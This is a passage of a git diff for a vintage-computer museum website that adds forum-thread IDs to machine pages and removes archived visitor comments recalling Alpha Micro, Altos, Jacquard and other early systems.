subtitle: '' @@ -183,10 +184,6 @@ params:  source : [Emerson Arcadia 2001 Central](http://amigan.classicgaming.gamespy.com/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Laura - date: Friday 21st December 2012 - text: I have the Advision Home Arcade L''Aventure a L''Ecran. The only information (in English) that I found on the internet about it so far is that it is the French version of the Arcadia 2001. related: - /museum/bandai-arcadia - /museum/emerson-arcadia-2001 diff --git a/content/museum/ai-electronics-abc-20.md b/content/museum/ai-electronics-abc-20.md index 2f78615f..e18396de 100644 --- a/content/museum/ai-electronics-abc-20.md +++ b/content/museum/ai-electronics-abc-20.md @@ -75,6 +75,7 @@ params: value: Unknown tabs: - adverts + forum_thread: 446 adverts: - title: FRENCH AD (JAN. 1980) subtitle: '' diff --git a/content/museum/ai-electronics-abc-24.md b/content/museum/ai-electronics-abc-24.md index 42f881f4..96c1bb61 100644 --- a/content/museum/ai-electronics-abc-24.md +++ b/content/museum/ai-electronics-abc-24.md @@ -59,6 +59,7 @@ params: tabs: - adverts - links + forum_thread: 53 adverts: - title: FRENCH ADVERTISEMENT subtitle: '' @@ -68,19 +69,6 @@ params: - title: Gaby's Homepage für CP/M und Computergeschichte url: http://www.gaby.de/abc.htm text: This site features infos and an interesting article about the ABC-24 - comments: - - author: java16 - date: Friday 13rd September 2013 - text: Hello, I have one, but I have not a keyboard ... dou you have some information if is possible to use another one from different of computer - - author: Juergen Sievers (Germany) - date: Thursday 1st March 2007 - text: |- - Hi, - - I’m collector of vintage computer systems. One of my systems is an ABC-24 for which I have destroyed the CP/M Boot Disk. So I want to ask you for a copy of this Disk (or an Image) if you have one. - - Regards\ - Juergen oc_id: 34 source: url: https://web.archive.org/web/20230603204804/http://www.old-computers.com/museum/computer.asp?c=34 diff --git a/content/museum/ai-electronics-abc-26.md b/content/museum/ai-electronics-abc-26.md index d02fdb26..73be76d6 100644 --- a/content/museum/ai-electronics-abc-26.md +++ b/content/museum/ai-electronics-abc-26.md @@ -59,6 +59,7 @@ params: tabs: - photos - adverts + forum_thread: 506 photos: - title: ABC-26 subtitle: '' @@ -73,10 +74,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/ai-electronics_abc26_pub-fr_2.png - comments: - - author: JAN LE ROUX (SOUTH AFRICA) - date: Wednesday 22nd February 2017 - text: I have an ABC-26 Ai Electronics 8.5 inch floppy drive computer with keyboard still in working condition that I am interested in selling. The computer was bought new by my wife but we now only use notepads. Does anyone have any idea of the value? oc_id: 512 source: url: https://web.archive.org/web/20230531224515/http://www.old-computers.com/museum/computer.asp?c=512 diff --git a/content/museum/ai-electronics-ai-m16.md b/content/museum/ai-electronics-ai-m16.md index 48287155..18d1c4bd 100644 --- a/content/museum/ai-electronics-ai-m16.md +++ b/content/museum/ai-electronics-ai-m16.md @@ -71,6 +71,7 @@ params: tabs: - photos - adverts + forum_thread: 505 photos: - title: CLOSE-UP subtitle: '' @@ -81,10 +82,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/ai-m16_pub_facen.jpg - comments: - - author: Colin Dorr (USA) - date: Friday 13rd April 2007 - text: 'I had this computer a long time ago. I called it: The best and first computer i had. When i buyed it it costs $2,900 (In 1983). I replaced it in 1986 for a Apple Macintosh computer. I think the end of production was in 1987 because of the news.' oc_id: 511 source: url: https://web.archive.org/web/20230415202048/http://www.old-computers.com/museum/computer.asp?c=511 diff --git a/content/museum/akor-super-tv-boy.md b/content/museum/akor-super-tv-boy.md index 966964e9..0ead8c0f 100644 --- a/content/museum/akor-super-tv-boy.md +++ b/content/museum/akor-super-tv-boy.md @@ -13,6 +13,7 @@ params: - software - emulators - links + forum_thread: 806 photos: - title: DETACHABLE CONTROL PAD subtitle: '' diff --git a/content/museum/akor-tv-boy.md b/content/museum/akor-tv-boy.md index 8c17b9aa..49bb3086 100644 --- a/content/museum/akor-tv-boy.md +++ b/content/museum/akor-tv-boy.md @@ -13,6 +13,7 @@ params: - software - emulators - links + forum_thread: 808 photos: - title: TV-BOY I subtitle: '' @@ -91,39 +92,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: troller for life (MA) - date: Friday 5th October 2012 - text: how do the tv games work ? does it work on a tv? - - author: Enrico - date: Thursday 12th July 2012 - text: 'Buy them: http://www.ebay.com/itm/200791578129' - - author: Period000 (Sudbury, MA USA) - date: Thursday 6th October 2011 - text: I have one. Am I the only one in America who does? - - author: New Digital world (150) - date: Monday 24th January 2011 - text: |- - I sell the tv boys.\ - The link is :\ - http://www.newdigitalworld.nl/retro-games-accessoires-c-90.html - - author: Karl Kruggel (New Prague, MN USA) - date: Tuesday 31st August 2004 - text: I have been looking for one of these now for about a yearand a half. Anybody that knows of one, I would be willing to buy. Thank You. - - author: Pete Scoins (Torquay, Devon, England, UK) - date: Friday 2nd April 2004 - text: I had a TV boy, I must of spent my early teens (i think) playing the games i love when i was small... Ahh.. The memories - - author: JP (London, UK) - date: Thursday 13rd November 2003 - text: |- - Picked up a TV Boy 2 at a car boot sale for £3 - - Battery compartment had suffered a leaky battery so doesn't work with batteries. With a mains adaptor however, its no prblem. and works fine. - - Good for instant gratification. :) - - author: Jason Ramsey (44860 San Clemente Circle) - date: Friday 18th April 2003 - text: Anyone own a tv-boy and willing to sell it? related: - /museum/akor-super-tv-boy oc_id: 827 diff --git a/content/museum/alex-video-spiel-tg-621.md b/content/museum/alex-video-spiel-tg-621.md index 3dcf8869..afbd8194 100644 --- a/content/museum/alex-video-spiel-tg-621.md +++ b/content/museum/alex-video-spiel-tg-621.md @@ -49,6 +49,7 @@ params: - software - emulators - links + forum_thread: 642 photos: - title: BACK subtitle: '' @@ -92,16 +93,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Patrick (Germany) - date: Sunday 18th November 2012 - text: 'I''''ve found this crazy video game a few days ago in the attic at my parents house. Unfortunately the connector to the TV is cut off. Does anyone know which kind of connector is necessary? My mail addy: boing@patrick-albert.de' - - author: Michael (finland) - date: Thursday 27th May 2004 - text: My girlfriends best friend just found this in her attic, problem is, I tried it on both of our tv's and on one,m the picture stays for about 2 minutes, and starts to deteriorate... before you say it, I know it cannot be the game itself, it is definately the RF... does anyone know the specific frequency that I can tune my tv to so that I can enjoy this antique machine and all it has to offer, just email me back at ramaista@hotmail.com - - author: Olivier (France) - date: Tuesday 6th August 2002 - text: This pongs can be found under many different brands... And the case is so ... computerish! Quite a strange machine. related: - /museum/a10-telespiel-9010 - /museum/apf-match diff --git a/content/museum/alpha-micro-1000-series.md b/content/museum/alpha-micro-1000-series.md index e5bbf440..e5e5bb16 100644 --- a/content/museum/alpha-micro-1000-series.md +++ b/content/museum/alpha-micro-1000-series.md @@ -55,6 +55,7 @@ params: tabs: - photos - emulators + forum_thread: 593 photos: - title: REAR SIDE subtitle: '' @@ -93,117 +94,6 @@ params: url: http://www.otterway.com/am100/ platform: Multiplatform text: Open source emulator for the AM-100 micro computer that runs on Linux, Windows, or Macintosh desktops and can run AMOS and all associated programs. - comments: - - author: William V. - date: Tuesday 15th March 2011 - text: '"Engineers knew a basic hack to get access to the $1,4$ system area without a password. " An Alpha Micro served as our high-school computer lab back in 1980... we found several versions of this hack within the first semester, and were able to save the day when the class teacher forgot the password for OPR:' - - author: Dave Lea (UK) - date: Wednesday 1st September 2010 - text: worked on these in the late 80''s / early 90''s and i did get the biggest electric shock (240v) of my life off one when i discovered a previous engineer had removed the fuse cover from the psu exposing the mains fuse (ouch!) - - author: Deak Brenan (USA) - date: Monday 29th March 2010 - text: The last Alpha Micros that we maintained went out of use in 2004 after about 15 years of use. The staff still refer to it now. Engineers knew a basic hack to get access to the $1,4$ system area without a password. The Discana utility could fix any amount of system corruption and best of all, when colour monitors came out we were all shocked to find the Amos operating system was actually in colour. Who new? - - author: John Caprise (Phoenix AZ) - date: Thursday 6th March 2008 - text: |- - I used this machine from 1996 up through 2002. It was the main brain behind an old Bowling Alley scoring system for Brunswick. Not only did it serve all of the scorers, the system was also used for daily reports in the bar and resturuant with a PLU driven software system. We also used it for league and torniment managments useing the scoring interface. The system was installed in the early 80's, yet this machine ran solid for nearly 20 years in a less than sterile envirenment (and , that is being very kind). The VHS data back up was surprisingly reliable. This machine was defenitly ahead of it's time in what it could do. - - Obviously the AMOS and the Bowling Center software where a bit buggy by today's standards. Biut unliike allot of software running on Modern OS machines, it was far more stable. (Buggy but stable). - - This was a great machine, the company had excellent support. I'm glad to know that they are still in business. I bet you you could still find it running in some older, more run down Bowling Alleys. - - author: Richard (UK) - date: Monday 18th January 2021 - text: I''m looking for anyone who still has a working AM1xxx (AM1000, AM1200, AM1000-62) because mine is dead and I''m desperately seeking a copy of AMOS to reload onto it. Any help appreciated, richard at genzone.net, thank you very much. - - author: Mike Sessi (USA) - date: Wednesday 19th August 2020 - text: I have a AM1082, Dual 8" priam 70MB, AM300, AM610, AM415...AM100/L.....I Looked and Looked, before I recycle system, does anyone have an "L" ? - - author: Tim Shoemaker (California (USA)) - date: Tuesday 13rd February 2018 - text: |- - WAY back in 1980, I sold my old 16k Imsai 8080 with dual 8" and dual 4" floppies, and purchased an Alpha Micro AM-100 with a 90MB CDC Phoenix disc and purchased "Alpha Accounting".. this was where I cut my teeth as I went into business.\ - Over the years, I worked for multiple companies that used Alpha Micro computers, Including 2 AM Dealers, one manufacturing company (about 13 years). I also spent about 4 years as Programmer at Alpha Micro itself programming for their IT Department in Alpha Basic.. we maintained all the internal business software for MRP, Sales, Purchasing, Accounting, etc, and we were a test platform for new hardware $ software as it was being released to the public. I also programmed in DDL (Dravac Database Language) as well as ISAM, and I did my small share of Macro Assembly coding to fix/change terminal drivers. I finally left the Alpha Micro world in 1999 when Datatronics (my employer at the time) purchased a new ERP system to replace "ShoemakerWare" that we had been running the company on for many years. Alpha Micro was a fun run! Great/Amazing computer technology back in the early 80''s. - - author: Susie (US) - date: Friday 11th November 2016 - text: I have an Alpha Micro 1000 with the original power cord, monitor, users manual, and keyboard. It was used by our business for many years until 2000. My boss kept everything, and our company is finally closing down after his death. I know it is very rare to find one with all the components. It was in perfect working order the last time it was used and has been in our office storage for years. Is anyone interested in purchasing the system? - - author: Andy - date: Thursday 10th November 2016 - text: I have DRAVAC DR-100 board from 1980. Its covered with black paint (unusual). any info? Thank you! - - author: Joe B. (Colorado) - date: Tuesday 30th August 2016 - text: I worked on AM1000, to AM1000 between 1978 and approximately 1986 when I migrated all the Accounting and proprietary insurance software I wrote from AlphaBasic and DDL (Dravac Database Language, anyone remember that? from UK?).. they had a frontend compiler that linked to their extensions in basic. Originally I had my on ISAM I had written in Basic, and ported over the old AlphaAccounting to my own Code using that.. which later got abanded for a new Fangled 4GL in 1986 called at that time Data Language Corporation''s "Progress". Ran on 286 SCO Unix. by 1994 there were still people using Alpha Micro and I got to port someones else old alphabasic code to Progress for a Trucking Company. But since I cut my teeth on CP/M, 6502 assembler, Vector Graphic, northstar, and AMOS WD16 assmembler writing Tape Transfer software (lol, I have to laugh), I have fondness in my heart for the Alpha Micro. - - author: Gordon (Usa) - date: Sunday 12th June 2016 - text: 'I have an Am100/l main processor board available. Motorola MC68000P8 CPU. COntact me for pictures and details: gordon@hesketh.us' - - author: Danny (USA) - date: Tuesday 16th June 2015 - text: |- - Anyone have any working Alpha equipment they might be interested in selling? - - I would love to have a system for hobby use, I first worked on them in the early 80s in high school, then was a programmer on them for about 6 years after that. - - I would be pretty open on the models, 100$L, 1000. I would love to find that a AM-1500 (or other VME model) is available. - - Alphabase$Metropolis license would be a HUGE bonus :) - - Thanks very much, - - Danny - - author: Terri (United States) - date: Tuesday 7th April 2015 - text: If anyone is interested in getting a hold of some old (working) Alpha Micro systems (please state specific system, 1000, eagle, etc), please contact me and I will forward your info to someone that will likely be able to locate a model for you. tmando@iname.com - - author: Pat Dow (Oregon) - date: Wednesday 2nd October 2013 - text: |- - I worked on the AM from 1981 thru 1987 as a Field Engineer and later as a Sales Engineer with Alpha Micro.\ - @Joel, your mom was my boss for a while back then! - - author: Dan Danknick (Boulder CO) - date: Tuesday 30th October 2012 - text: I had the great fortune to work at Alpha in the early 1990s in the OS group, fixing SPRs and adding enhancements. AMOS was an amazing OS and of course, we did all of our work in M68 assembler. At my next job I had to learn 286 asm and thought that the segmented address scheme was pure madness by the Intel engineers! I am glad to say I''m still friends with fellow programmers that I met at Alpha, now 21 years later. - - author: Joel Kelly (Las Vegas, NV) - date: Friday 20th July 2012 - text: |- - My Mom was the (by the end) the Regional Sales Manager of the entire West Coast. She was the President and then a member of the AMOS group, which I vaguely remember going to as a kid. I remember how the AM machines "kicked-ass all over" the old VAX junk. - - I think she started out working for Howard Ogle, the President and Founder of MacroTech. They built knock-off products that did stuff a bit better, I think. - - Honestly, I was more interested with her $9000 Mac IIci as a kid. With Aldus Illustrator and I think even PhotoShop!!! WhooOOo! - - author: Carl Best (Oregon, USA) - date: Friday 18th November 2011 - text: |- - I serviced Alpha Micro Computers from 1982 up until about 1997.\ - The AM1000 had just come out when I started working with an Alpha Micro dealer as a field service engineer.\ - I also serviced the old S-100 bus systems, from the original AM100 with the Western Digital Micro PDP11 processor up to the Motorola 68000 based AM1062, and the single board successors to the AM1000, the AM1200, AM1500, AM2000 and AM3000.\ - Over the years, as customers bought newer computers, I aquired a farily comprehensive collection of old Alpha-Micro computers, including an 8 inch dual-floppy AM100, an AM100/T with a 30Mb winchester drive, an AM1042 68000 based S-100 system, a collection of AM1000''s, AM1500/2000/3000.\ - They all run, and I have complete AMOS documentation, plus full electrical schematics for the older computers.\ - These were great computers, and ran rings around anything else built at the time.\ - Multitasking? in 1982, an Alpha Micro with a 68000 processor could handle 4 users connected via dumb terminals, print to two or three printers simultaneously, and nobody would ever notice a pause or slowdown while they worked. Some of the larger systems supported dozens of users and six or eight printers seamlessly.\ - At that time, an IBM PC went to sleep every time the single user printed a document. It wasn''t until Windows 95 that the PC world even approched that kind of performance. - - author: FRANKLIN (75) (Caracas - Venezuela) - date: Saturday 17th September 2011 - text: |- - Hello ... Down here , we still have some 1200 in use .\ - Could be +/- 12, all running applications just like 25 yrs ago . The only technician is the one writting this , all the others are retired or have 10'' of soil over the chest !!!\ - Solid machine ! Hey, it''s not true that the security chip''s X-ray protected ... I''ve got my 1200 all set to support ! - - author: gs (california) - date: Sunday 6th January 2008 - text: |- - I remember the salvation army using alpha micro systems in their churches. we sometimes received support calls about those. - - there is a nice website on the am's that is actually running on a later eagle model: http://ampm.floodgap.com - - please post any ebay auctions you find on one, i would love to play with one again.. - - author: js (nowhere) - date: Saturday 21st July 2007 - text: Apparently AMOS development is very heavily guarded; the microcode on the mainboards is top secret! - - author: alessandro (italy) - date: Saturday 21st April 2007 - text: back in '88 I worked on it , the one I've used was the only computer I've ever seen with a storage mass on VHS tape , transfer rate was terrible 15 min for 200k of data .I remember that the security chip built in was X-ray protected ,programmer trainer told me . - - author: Pete Fenelon (UK) - date: Sunday 22nd February 2004 - text: |- - There is now an Alpha Micro/AMOS emulator - "am100" by Mike Noel. - - Looks pretty good. Works well enough to boot AMOS and do some fairly simple tasks. oc_id: 606 source: url: https://web.archive.org/web/20230528024543/http://www.old-computers.com/museum/computer.asp?c=606 diff --git a/content/museum/alspa-computer-aci-1-2.md b/content/museum/alspa-computer-aci-1-2.md index 21f98920..ea6eaaaf 100644 --- a/content/museum/alspa-computer-aci-1-2.md +++ b/content/museum/alspa-computer-aci-1-2.md @@ -53,6 +53,7 @@ params: tabs: - photos - adverts + forum_thread: 1298 photos: - title: ACI-2 MODEL (FRONT) subtitle: '' diff --git a/content/museum/altos-computer-systems-acs-186.md b/content/museum/altos-computer-systems-acs-186.md index 87e855f9..61fba121 100644 --- a/content/museum/altos-computer-systems-acs-186.md +++ b/content/museum/altos-computer-systems-acs-186.md @@ -52,34 +52,7 @@ params: value: PSU built-in - label: PRICE value: 12350 (France, september 1984) - comments: - - author: Art Cancro (USA) - date: Friday 11th October 2013 - text: |- - Altos 186 and 486 systems did indeed run the Intel 80186 processor, which were passed over by the PC world. - - Typically there would be one to four terminals attached, one of which was the system console. The version of unix that it ran was a port of Xenix, which was Microsoft''s port of Unix. Yes it was "real" unix, albeit a somewhat limited one. However, most unix software could be made to run on it. - - Altos computers of this era were Intel based but most of them were not "IBM compatible." Altos did not see any need to do that since their machines were never intended to run MS-DOS. - - author: Jeff Nisler - date: Wednesday 22nd December 2010 - text: |- - I worked at Altos when the 186 system came out. I porterd a version of the Pick OS to it in 1984 (a solo effort, which was never offered for sale). And I can tell you why it was a slow pig running zenix - the size was made small by removing hardware to a bare minimum, and in the balance the main cpu had to also be the CRT controller - the OS had to sit 2nd seat to the controller, or you wouldn''t see anything.\ - I have one of the prototypes, and it still works. - - author: Donald S. Campbell - date: Wednesday 10th March 2010 - text: |- - I attempted to use the 80186 based Altos many times, but it was a failure from the beginning. It was officially called ACS486. - - It''s speed was horrible, and the reliability almost nonexistant. It was a blunder of gigantic proportions. - - I bought several at the ''bargain'' price of $4k each, and soon discovered why the great discount - they were junk. - - Howver, the other Altoses I''ve used, including ACS8000-10, ACS580, ACS586, ACS2086, ACS1000, and ACS2000, are easily among the best systems in their class. - - My OS of choice from the beginning was Oasis8-16/Theos, and it still would be if the Altos was still available. - - Altoses running Theos were unbeatable - Xenix/Unix were slow and made for support groups - not efficiency and productivity, where it counts. + forum_thread: 522 oc_id: 528 source: url: https://web.archive.org/web/20221127121630/http://www.old-computers.com/museum/computer.asp?c=528 diff --git a/content/museum/altos-computer-systems-acs-580.md b/content/museum/altos-computer-systems-acs-580.md index a8dbd668..f0fbce87 100644 --- a/content/museum/altos-computer-systems-acs-580.md +++ b/content/museum/altos-computer-systems-acs-580.md @@ -54,6 +54,7 @@ params: value: Hard-disk, streamer, disk-drive, printer tabs: - adverts + forum_thread: 510 adverts: - title: OEMS WANTED subtitle: '' diff --git a/content/museum/altos-computer-systems-acs-586-686.md b/content/museum/altos-computer-systems-acs-586-686.md index e08a5faa..373ab80c 100644 --- a/content/museum/altos-computer-systems-acs-586-686.md +++ b/content/museum/altos-computer-systems-acs-586-686.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 509 photos: - title: COMPLETE SYSTEM subtitle: '' @@ -104,19 +105,6 @@ params: Isn't this a stupid advert ?!\ Look carefully at each face ! image: /media/museum/pubs/altos_pub-1-16_stupid.jpg - comments: - - author: J.Roco (USA) - date: Monday 16th March 2015 - text: I wrote multi-user programs for vertical markets on altos computers running MP/M using a slightly modified version of dBase II (modified to lock files and records.) The last was the 686. One of the contributions to Altos''s loss was a motherboard failure caused by lack of adequetly seating chips into their sockets. We had to travel to every site and physically reseat every chip on the motherboard!!! - - author: joel wylan (usa) - date: Wednesday 20th October 2010 - text: i worked at altos as tech support on all platforms for all programming languages. my first silicon valley job. was liason between developers and code vendors. what a trip finding this website. - - author: SP - date: Friday 3rd July 2009 - text: Searching for Xenix 3.2f for this machine (I got one). I would agree the help provided, please. Thanks. You can locate me in the classiccmp e-mail list - - author: Stephen Silberman (Earth) - date: Tuesday 29th April 2003 - text: I had one of these back in the mid 80's or so. It was state of the art then. We ran it with MPM as an operating system. That was an early multi user version of CPM. We had three of them networked together and could share files and programs. We used it for accounting applications in a garment manufacturing business. It was a big step up from our Intertec Superbrain which preceded it. oc_id: 515 source: url: https://web.archive.org/web/20230605030330/http://www.old-computers.com/museum/computer.asp?c=515 diff --git a/content/museum/altos-computer-systems-acs-8000.md b/content/museum/altos-computer-systems-acs-8000.md index aeb34fcd..91639d47 100644 --- a/content/museum/altos-computer-systems-acs-8000.md +++ b/content/museum/altos-computer-systems-acs-8000.md @@ -55,6 +55,7 @@ params: - photos - adverts - software + forum_thread: 451 photos: - title: ACS-8000-12 subtitle: '' @@ -120,60 +121,6 @@ params: subtitle: '' text: This looks like a Fortran program... image: /media/museum/software/altos_acs8200_fortran_ss.jpg - comments: - - author: Steve (USA) - date: Thursday 13rd September 2018 - text: I programmed one of these using dBaseII in the early 80s. It used the MPM operating system and could have several Televideo dumb terminals attached. It had a 10MB hard drive. I still have it! I''m starting to try to figure out how to sell it. - - author: Mike P. (USA) - date: Wednesday 29th November 2017 - text: My father used one of these systems in his office for the food research laboratory he worked at in the late 70''s. I remember the 8" floppy drives were separate from the processor. There was a big blue CRT/keyboard terminal of unknown make, and a big floor standing Texas Instruments dot matrix printer. I believe the system was serial connected to several pieces of lab equipment. I was only 7 or 8 at the time, and this whole thing fascinated me, it was the cat''s meow. - - author: medge (Australia) - date: Tuesday 18th November 2014 - text: |- - Used an Altos 8000 running UCSD p-system natively in my first job back in ''84. 48k ram, split over 4 users with some shared memory for semaphores etc.\ - Needed to use overlays in p-system to handle the larger programmes. Each overlay had to have the same procedure names in the smae location to work.\ - I remember with the 20MB version you needed to toggle the on/off switch a few time to get the drive up to speed before it would boot from it. - - author: Phil Glau (USA) - date: Wednesday 31st July 2013 - text: |- - My dad had one for his business but it had two 8" floppies and no HHD. I suspect it was much cheaper to have a second floppy rather than a HHD. I was about 12 or 13 at the time. - - I learned BASIC and COBOL on it and ran CP/M as the operating system. - - I think the reason he bought it was because Peachtree Accounting ran on it (not 100$ sure about this, but over the years, he stuck with Peachtree and I think it was because of backwards ''compatibility''. Eventually the data was transferred from the Altos to a Windows machine of some sort, but remained PeachTree) - - author: Phil Glau (USA) - date: Wednesday 31st July 2013 - text: |- - My dad had one for his business but it had two 8" floppies and no HHD. I suspect it was much cheaper to have a second floppy rather than a HHD. I was about 12 or 13 at the time. - - I learned BASIC and COBOL on it and ran CP/M as the operating system. - - I think the reason he bought it was because Peachtree Accounting ran on it (not 100$ sure about this, but over the years, he stuck with Peachtree and I think it was because of backwards ''compatibility''. Eventually the data was transferred from the Altos to a Windows machine of some sort, but remained PeachTree) - - author: R Ryan (USA) - date: Monday 11th April 2011 - text: The TCU-8 is not a computer but an 8 channel RS-422 asynchronous terminal multiplexor. Altos, Wyse or other RS-232 serial terminals were plugged into the connectors labeled 0-7. They could be daisy chained together. The address of the unit in the chain was set with the DIP switches. - - author: Jason (Birmingham, West Midlands, UK) - date: Saturday 19th March 2011 - text: |- - I work as an ICT Technician at a Secondary School here in the UK. The caretaker bought in from home last week an Altos TCU-8 computer. - - It has a row of LED''s at the front labelled 0 to 7, a bank of input connectors at the back also labelled 0 to 7, a larger input connector, kettle lead 3 pin power socket, on / off switch and a 5 row dip switch component. - - Any information about this computer would be helpful. There''s nowhere to connect any type of TV, monitor or keyboard. The front row of LED''s look like something the Altair 8800 would have. - - author: john (syracuse new york) - date: Monday 27th December 2004 - text: |- - We used an altos 8000 system with\ - 20 meg hard drive and 8 inch floppy\ - from 1982 to perhaps about 1989\ - they were 100% reliable all that time\ - and were obsolte long before being worn out.\ - They weighed about 80-88 pounds and\ - had something like 256 k of ram for\ - allegedly 3 or 4 users and the operating system\ - ran cpm and mpm on it, still remember "pip"\ - instead of copy. Had 8 megaherz cpu\ - Very very good quality machine. oc_id: 456 source: url: https://web.archive.org/web/20230413211351/http://www.old-computers.com/museum/computer.asp?c=456 diff --git a/content/museum/altos-computer-systems-serie-5.md b/content/museum/altos-computer-systems-serie-5.md index 06204952..acbd52e0 100644 --- a/content/museum/altos-computer-systems-serie-5.md +++ b/content/museum/altos-computer-systems-serie-5.md @@ -53,6 +53,7 @@ params: tabs: - photos - adverts + forum_thread: 450 photos: - title: SERIE 5-5AD OPENED subtitle: '' @@ -90,16 +91,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/altos_system5_germanad_1.jpg - comments: - - author: Eric Scott (Canada) - date: Friday 6th January 2023 - text: I had an old System 5 when I was a kid. It had a 5 1/4" floppy and a full Hight 5.5 MB hard drive on it. It ran MP/M and we had three terminals attached to it. My Dad built and programmed a complete POS system for our continence store. We ran the system until the early 1990''s. - - author: Göran Axelsson (Sweden) - date: Thursday 26th July 2012 - text: I just got an ALTOS serie 5-15DE and it came with two 5.25" floppy drives. I haven''t started it yet so I can''t tell anything about the capacity. - - author: George Barna - date: Friday 8th June 2012 - text: I had one of these. It had a 2 x 5 1/4" floppy drives, NOT 8", of 800Kb capacity each. oc_id: 455 source: url: https://web.archive.org/web/20230603020928/http://www.old-computers.com/museum/computer.asp?c=455 diff --git a/content/museum/am-international-jacquard-systems-j100-j500.md b/content/museum/am-international-jacquard-systems-j100-j500.md index 05414e0f..6d61cfca 100644 --- a/content/museum/am-international-jacquard-systems-j100-j500.md +++ b/content/museum/am-international-jacquard-systems-j100-j500.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 521 photos: - title: 'J-100 WORKSTATION #1' subtitle: '' @@ -139,250 +140,6 @@ params: The AMtext product line includes a complete selection of peripheral devices, including telecommunications, an optical character reader. magnetic card reader, phototypesetters, daisy wheel printers. high-speed line and matrix printers, as well as mass storage on floppy and hard disk drive units. image: /media/museum/pubs/jacquard_j100_amtext_2.jpg - comments: - - author: Jenny Robinson (UK) - date: Thursday 28th April 2011 - text: I worked for Jacquard before it became AM Jacquard and also for a couple of Jacquard distributors. When Type-Rite came out I became the word processing queen and travelled all over Europe training Jacquard distributors. I guess it was late seventies and into the eighties. Those were amazingly happy days which I remember with great fondness. I worked with Norman Tinklin, Robin Bews, Barry Lawrence and Terry Hart. We had some wild times - - author: Carol Wollard (USA) - date: Wednesday 9th March 2011 - text: I worked for ATV on Daimler Street in Santa Ana - those were crazy times. No doubt, Typerite was the best word processing software I have ever used - I loved Jacquard computers - too bad they went by the wayside. - - author: Robert R. Heinz - date: Tuesday 4th January 2011 - text: |- - I worked in Technical Support in the Santa Monica office in 1977 with Lynn Shelly and another gentleman I forget. I was responsible for supporting the Family Feud show at ABC Studios for 2 seasons. I got to sit backstage with Richard Dawson and Gene Woods during every taping and will never forget the fun - - Thamkls!! - - author: Tom Mallen (Los Angeles, CA USA) - date: Friday 4th June 2010 - text: Just visited this site to see what might be available about Jacquard Systems. I was Director of Finance from May 1977 through the acquisition by AM International (formerly Addressograph, Multigraphics etc.) until the west coast office was relocated to New Jersey at the end of 1980. Remember Ken Rubin, Edgar Bolton, the investment group of celebrities that funded the startup company Magnatronics and the growth of this phenominally talented group. A true leader in the infant Wordprocessing arena. The AM acquisition helped the growth but AM''s problems denied an opportunity to become the premier product. Wordperfect and Word were far behind Jacquard''s capabilities in 1979. - - author: Art Cline (Dallas, TX) - date: Friday 11th July 2008 - text: |- - Wow what memories! - - Fred, I was one of the four National Technical Support personnel that you mentioned. - - author: John Lerno (Westminster/Ca) - date: Monday 7th July 2008 - text: Hello Fred Rodney I used to work at ATV in the middle to late 80s on the Jacquard systems. Wow it is a small world seeing you here - - author: Pat McAuley (Dublin, Ireland) - date: Thursday 20th March 2008 - text: Hey Mike Hopkins, fancy you popping up on an Old Computer message board. Memory Ireland, memories flooding back of Ballsbridge and the Irish Sweeps Stake!!! Keep up the good work!!!! - - author: Fred Roney (Schaumburg, IL) - date: Friday 30th November 2007 - text: |- - Updated email address. Motorola bought Symbol Technologies effective Jan,4 2007 - - FAME member. Former AM employee. - - author: Mike Hopkins (Adelaide Australia) - date: Friday 14th July 2006 - text: |- - Nice to see follow ups to my post of nearly 4 years ago. I used to program in Super Basic on the J100. I still get some of those error codes coming into mind e.g. Error 48 - disk full and I think 36 was file not found. - - Worked with John McGrann and Michael Harvey, other posters to this page, and Terry Fossey, mentioned at Memory Ireland. - - Memory had a 'brave' project to develop an accounting system called MAX for the J100/500, using programmers in Zimbabwe. The project became known as MAD MAX. - - author: Fred Roney (Chicgao, IL USA) - date: Friday 30th September 2005 - text: |- - I'm astonished that people still talk about or use these systems still. It definitely brought a smile to my face. I was employed by AM in 80-82, transferred from Varityper to Jacquard in 81, ended up with ATV Systems and FDR Field Service through the sale of the division. I was 1 of 4 National Technical Support personnel kept on to provide support for the Jacquard J100, J300, J500 series up until about 1989 with the sale to Decision Data, now Decision One.\ - If I remember right the J500's CPU was made up of 4 ALU's, the microcode was burned to PROMS and the max mem. was either 256k or 512k. And yes TypeRite was definitely ahead of it's time.\ - I wish you all well. It's nice to know some people on the planet still remember. I don't bother mentioning AM Jacquard much these days. Most people say AM who and what’s a Jacquard, isn't that some kind of loom? - - author: Anthony Dodd (United Kingdom) - date: Sunday 16th January 2005 - text: It was interesting to stumble across this site. I first started work as a programmer working for Memory Computers, Dublin (1985-87). I had great pleasure in working on the J100 & J500 (later). It had a very simple and intuitive basic language support, the operating system was simple to use. Commands such as sprcat (super cat), still stick in my mind to this day. I agree with all the comments that the word processor on the jacquards was way ahead of it's time. While at memory I started working on a new breed of Motorola machines, running Unix V, and I remember distinctly thinking how cumbersome vi was in comparison, the nearest thing I came to type-rite was word perfect a few years later. I was involved in developing systems and supporting systems for a great number of installations throughout the city. I remember my last involvement with the J500s was with respect to installing the new breed of laser printers arriving on the market. There we're problems with the J500s inability - to support the XON/XOFF protocol used by these printers. - - author: Tim Trent (UK) - date: Monday 10th January 2005 - text: |- - Back in 1979 I joined the UK company as a baby salesman. Damn these machines were good. For me they set the WP standard. They beat Wang hollow. - - I loved the cut and paste and copy and paste rulers. Thsi was pretty much the forrunner of "highlight and select" really. - - At a trade show we were next to a shredder manaufacturer. He knew as little about coimputers as we did. but I did manage to get him to find out of he offered an optional RS232C connection to his shredders! - - author: Tom Morgan (Sacramento CA) - date: Friday 18th July 2003 - text: It's very interesting to see these other postings regarding the J100 and J500 because I worked for Jacquard in Santa Monica on both of these systems. They were pretty revolutionary for their time, especially the J500 and you guys got to see some of the follow-on products after I left the company in 1979. I actually worked for them during 2 time periods and was a test technician on the J500 in 1979. - - author: Ruth Cust (Sydney, Australia) - date: Tuesday 22nd April 2003 - text: |- - My first 'real' job was as a technician (they called us 'engineers') on Jacquards and AMTexts for the Australian distributors - Computer Resources, later 